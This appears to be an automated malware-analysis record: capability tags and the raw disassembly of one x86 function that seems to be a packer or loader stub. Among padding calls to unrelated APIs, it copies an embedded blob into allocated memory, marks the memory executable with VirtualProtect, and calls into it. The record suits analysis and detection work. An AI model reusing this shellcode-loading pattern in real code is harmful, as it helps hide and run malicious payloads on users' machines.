Function at 0x40b2e0
Capabilities:
Allocate or change rwx memory
Connect pipe
Execute shellcode via indirect call
Get common file path
Get geographical location
Identify system language via api
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40fc1c
mov eax, dword fs:[0]
push eax
sub esp, 0x8a8
mov eax, dword [0x44507c]
xor eax, esp
mov dword [esp + 0x8a0], eax
push ebx
push esi
push edi
mov eax, dword [0x44507c]
xor eax, esp
push eax
lea eax, [esp + 0x8b8]
mov dword fs:[0], eax
mov ecx, dword [0x2b6d4b4]
cmp ecx, 0x7c
jne 0x40b451
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x6c]
push edx
call dword [sym.imp.USER32.dll_CopyRect]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push ebx
push ebx
lea eax, [esp + 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalHandle]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x2b6d4b4], 0x2d
jne 0x40b3ce
push ebx
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x8c0], ebx
mov edi, 0xd
mov eax, str.divit_pejadov
lea esi, [esp + 0x30]
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], 0
call fcn.00401310
mov ecx, esi
lea edi, [esp + 0x18]
mov byte [esp + 0x8c0], 1
call fcn.004010c0
cmp dword [esp + 0x44], 0x10
jb 0x40b42c
mov edx, dword [esp + 0x30]
push edx
call fcn.004025b9
add esp, 4
push ebx
call fcn.004025c4
add esp, 4
lea eax, [esp + 0x18]
or esi, 0xffffffff
push eax
mov dword [esp + 0x8c4], esi
call fcn.004012b0
mov ecx, dword [0x2b6d4b4]
jmp 0x40b456
xor ebx, ebx
or esi, 0xffffffff
mov edx, dword [0x4476e0]
xor eax, eax
mov edi, 0xec58acac
cmp eax, 0x8450db
jne 0x40b470
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b484
mov dword [0x448d10], edi
mov dword [0x448d14], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b463
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b6d4b4], ecx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x562d05
jne 0x40b4b4
mov edx, dword [0x4476d4]
mov dword [0x2b6d4b8], edx
cmp ecx, 0x3c
jne 0x40b4c2
push ebx
call edi
mov ecx, dword [0x2b6d4b4]
inc esi
cmp esi, 0x5f6c74
jl 0x40b4a0
cmp ecx, 0x110a
jne 0x40b5ce
push ebx
mov dword [0x2b6d128], ebx
mov dword [0x2b6d12c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.nawiyadok
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
call fcn.00402351
xor eax, eax
mov word [esp + 0x34], ax
lea esi, [eax + 1]
add esp, 4
lea eax, [esp + 0x30]
mov dword [esp + 0x44], 7
mov dword [esp + 0x40], ebx
call fcn.004013e0
push str.0__s__d__f
mov dword [esp + 0x8c4], 2
call fcn.00402462
add esp, 4
push ebx
call fcn.00402351
mov edi, esi
add esp, 4
mov eax, 0x4437a8
lea esi, [esp + 0x68]
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], 0
call fcn.00401310
push ebx
mov byte [esp + 0x8c4], 3
call fcn.0040af68
add esp, 4
mov eax, 0x4437a8
lea esi, [esp + 0x4c]
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], 0
call fcn.00401310
push ebx
call fcn.00402351
add esp, 4
push 0x4437a8
push 0x448810
call fcn.00401e24
push ebx
call fcn.004025a2
add esp, 0xc
push ebx
call fcn.004028ae
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x2b6d4b4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b6ce58], eax
cmp dword [0x2b6d4b4], ebx
jbe 0x40b63d
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
lea esp, [esp]
mov edx, dword [0x2b6d4b8]
mov dword [esp + 0x18], edx
mov eax, 0xa231
add dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
mov cl, byte [eax + esi]
mov edx, dword [0x2b6ce58]
mov byte [edx + esi], cl
cmp dword [0x2b6d4b4], 0x5ab
jne 0x40b634
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2b6d4b4]
jb 0x40b600
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x4437ac
call esi
mov ecx, dword [0x2b6d4b4]
mov edx, dword [0x2b6ce58]
lea eax, [esp + 0x28]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x2b6d4b4]
mov ecx, dword [0x2b6ce58]
mov edi, dword [0x445f60]
mov ebx, eax
mov dword [esp + 0x2c], ecx
cmp eax, 0x930
jne 0x40b690
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b6d4b4]
mov dword [0x448d0c], edi
cmp eax, 0x114e
jne 0x40b6b2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
call esi
mov eax, dword [0x2b6d4b4]
cmp eax, 0x2f
jne 0x40b6e8
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x20]
push eax
push ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push 0
lea ecx, [esp + 0xb0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov edx, dword [esp + 0x2c]
push edx
mov edi, ebx
call fcn.0040b120
add dword [0x2b6ce58], 0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 4
xor esi, esi
nop
lea eax, [esp + 0x84]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40b739
cmp dword [esp + 0x8c], 0xf5bed7
jne 0x40b742
inc esi
cmp esi, 0x1ece7a52
jl 0x40b710
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleDisplayMode]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], 0x1519a5
mov ebx, 0x8e46a6f0
jmp 0x40b760
cmp dword [0x2b6d4b4], 0xcc1
jne 0x40b774
push 0
push 0
push 0
call edi
cmp dword [0x2b6d4b4], 0x3dc
mov dword [0x2b6ce5c], ebx
jne 0x40b799
push 0
push 0
push 0
push 0
push 0
push 0
push str.fipelidivukaluvijahevavuzuke
call esi
dec dword [esp + 0x14]
jne 0x40b760
mov ecx, dword [esp + 0x8b8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x8a0]
xor ecx, esp
call fcn.00401e15
mov esp, ebp
pop ebp
ret